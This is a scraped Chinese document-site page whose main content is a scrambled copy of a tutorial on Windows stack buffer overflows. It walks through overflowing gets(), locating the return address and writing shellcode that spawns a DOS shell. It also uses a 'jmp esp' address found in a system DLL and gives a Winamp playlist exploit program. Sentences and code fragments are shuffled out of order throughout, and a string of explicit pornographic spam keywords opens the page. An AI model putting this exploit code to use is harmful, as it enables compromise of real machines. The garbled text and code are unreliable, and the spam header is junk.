freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出(更新版)

2025-10-30 16:44上一頁面

下一頁面
  

【正文】 為 shellcode的版本依賴 問題導(dǎo)致的。因為 NT 里面有很多系統(tǒng)進程,都是以system 賬號啟動的。在此感謝,同時感謝以前一起討論過 windows 系列堆棧溢出的朋友 littleworm,xsz它們。希望大家在看了之后,能夠?qū)?windows 堆棧溢出技術(shù)有一定了了解。當然可以為所欲為了。 說一句題外話: 很多人運行了堆棧溢出 exploit以后沒有成功,就認為自己的機器沒有毛病。 為了解決這個問題,我想我們可以盡量減少固定地址的使用。這也是我在寫完 linux下的堆棧溢出系列之后,另外寫windows 系列的原因。 fprintf(file, %s, sploit)。x580。這是怎么回事?應(yīng)該是 \xB8\x24\x98\x01\x78 呀,\x01到什么地方去了? 看來敵人把輸入的溢出字符串作樂處理,把不能作為文件名的字符都作為 0處理 了(事實上這是 win32api函數(shù)作的處理)。 fclose(file)。x++) {buffer[x] = 0x90。版本: () 0x78005504 是 里面的函數(shù)exit的地址。 exit(0); 很簡單,是不是?下面是匯編代碼: 首先要 LoadLibrary()。 現(xiàn)在找出 jmp esp 的指令碼為 FF E4,ctrlD 調(diào)出 sice,看看內(nèi)存里面那里有 FF dll 的加載 地址都是從地址 0xBf000000開始,所以我們搜索 s Bf000000 L ffffffff ff,e4 得到了哪些結(jié)果? 一堆呀,這第一個是: BFF795A3。 return 0。 fprintf(file, [playlist]\n)。+x/26%26。A39。我們可以寫出測試串,精確的測試??纯此欠駆oad了這個 dll。在寄存器里面一定有我們的 shellcode的相關(guān)信息。 好像沒有辦法了,是嗎?現(xiàn)在我們的 A如何能做到即可 以跳轉(zhuǎn)到我們的shellcode,又可以不包含 0字節(jié)呢? 大家可能還記得當年 遠程攻擊的作者 dark spyrit AKA Barnaby Jack吧?他在 99年的 Phrack 上提出了使用系統(tǒng)核心 dll 中的指令來完成跳轉(zhuǎn)的思想。顯然,我們的shellcode 由于 A 里面含有 0,所以就變成了 NNNNNNNNSSSSSA,這樣,我們的返回地址 A必須精確的放在確切的函數(shù)堆棧中的 ret位置。 現(xiàn)在總結(jié)一下。 int main() { int *ret。 call eax 。 mov byte ptr [ebp06h],64h 。加上上面,一共有 12個字節(jié), 。 __asm { mov esp,ebp 。 00401082 lea eax,dword ptr [sysbuf] 00401085 push eax 00401086 mov ecx,dword ptr [LibHandle] 00401089 push ecx 0040108A call dword ptr [__imp__GetProcAddress8(0x00416188)] 00401090 mov dword ptr [ProcAdd],eax 。我的系統(tǒng)上, 版本為 ()。對于我們的程序來說, windows 通過動態(tài)鏈接庫來提供系統(tǒng)函數(shù)。 LibHandle = LoadLibrary(dllbuf)。 OK,萬事具備,只差 shellcode了。我們可以給 name數(shù)組輸入我們精心編寫的 shellcode。 } 相信大家都看出來了, gets(name)對name數(shù)組沒有作邊界檢查。 讓我們從頭開始。 for(int i=0。”,太好了,點擊詳細信息按鈕,看到 EIP 的值是0x61616161,哈哈,對話框還會把返回地址告訴我們。在 windows系統(tǒng),其他運行進程保持不變的情況下。 int main() { HINSTANCE LibHandle。 return 0。 因此,當我們想調(diào)用一個系統(tǒng)函數(shù)的時候,并不能直接引用他。 然 后 使 用GetProcAddress(LibHandle, system)獲得 system的真實地址。這個地址對于我的機器而言是唯一的。給 ebp賦新值,將作為局部變量的基指針 xor edi,edi 。 mov byte ptr [ebp0bh],6fh 。 mov byte ptr [ebp03h],6fh 。在提示符下輸入 dir,copy......是不是想起了當年用 286的時候了? 敲 exit退出來,哎呀,發(fā)生了非法操作。ret + 2。 ◆溢出字符串的設(shè)計 我們已經(jīng)知道了在 windows 系統(tǒng)下如何獲得一次堆棧溢出,如何計算偏移地址,以及如何編寫一個 shellcode以得到 dos。buffer 堆棧頂部 堆棧底部 看到了嗎?我們的 A覆蓋了返回地址。 思路是這樣的:返回地址 A的內(nèi)容不指向我們的 shellcode開始地點,否則的話A里面必然含有 0。 那么我們怎么知道哪里有 call/jmp eax什么的呢?我們又怎么知道這些指令是每次都在內(nèi)存中可以直接調(diào)用呢? 答案是:系統(tǒng)核心 dll。 S: shellcode。 char sploit[256] = 。A39。A39。 fprintf(file, %s, eip)。這個測試程序可以測試最長為 26^3的串,足夠了。 好了,現(xiàn)在溢出字符串已經(jīng)基本分析完了,就差 shellcode了。 要想使用 system,exit,必須加載這個庫。 char eip[8] = \xa3\x95\xf7\xBF。 fprintf(file, File1=)。 } OK,運行他,生成一個文件叫做 winamp 里面打開這個playlist,就應(yīng)該出一個 dos。這個問題的解決需要我們改換shellcode,去掉那些有問題的字符: \x01 我們作如下替換: mov eax,78019824 mov eax,ffffffff sub eax,87fe67db 匯編得到: xB8\x24\x98\x01\x78 \xB8\xFF\xFF\xFF\xFF \x2d\xdB\x67\xFe\x87 得到下面的新程序: /* Stack based buffer overflow exploit for Winamp * Author Steve Fewer, 04012k. Mail me at * * For a detailed description on the exploit see my advisory. * * Tested with Winamp using Windows98 on an Intel * PII 400 with 128MB RAM * * * modify by ipxodi 20012k * for windows98 the 2nd version and for a new shellcode. * windows98 v chinese version * pII 366 with 64MB RAM(Not a good PC,en?) * */ include int main() { char buffer[640]。 file = fopen(,wb)。 printf(\t created file loaded with the exploit.\n)。大家的 windows 版本不一,而exploit 使用了很多動態(tài)鏈接庫里面的庫函數(shù),其地址都是與 dll 的版本有關(guān)系的。 這里奉勸大家,當你寫的 exploit發(fā)生無效頁錯誤時,不要灰心。不過當時只是探討原理,還停留在堆 棧溢出的可行性,遠沒有探討利用他來攻擊。才認識到windows 堆棧溢出攻擊將是一個很有研究價值的攻擊手段。s no hope, you guarantee there will be no hope. If you assume that there is an instinct for freedom, there are opportunities to change things. Noam Chomsky 本篇文章來源于 新世紀網(wǎng)安基地 () 原 文 出 處 :00810/
點擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1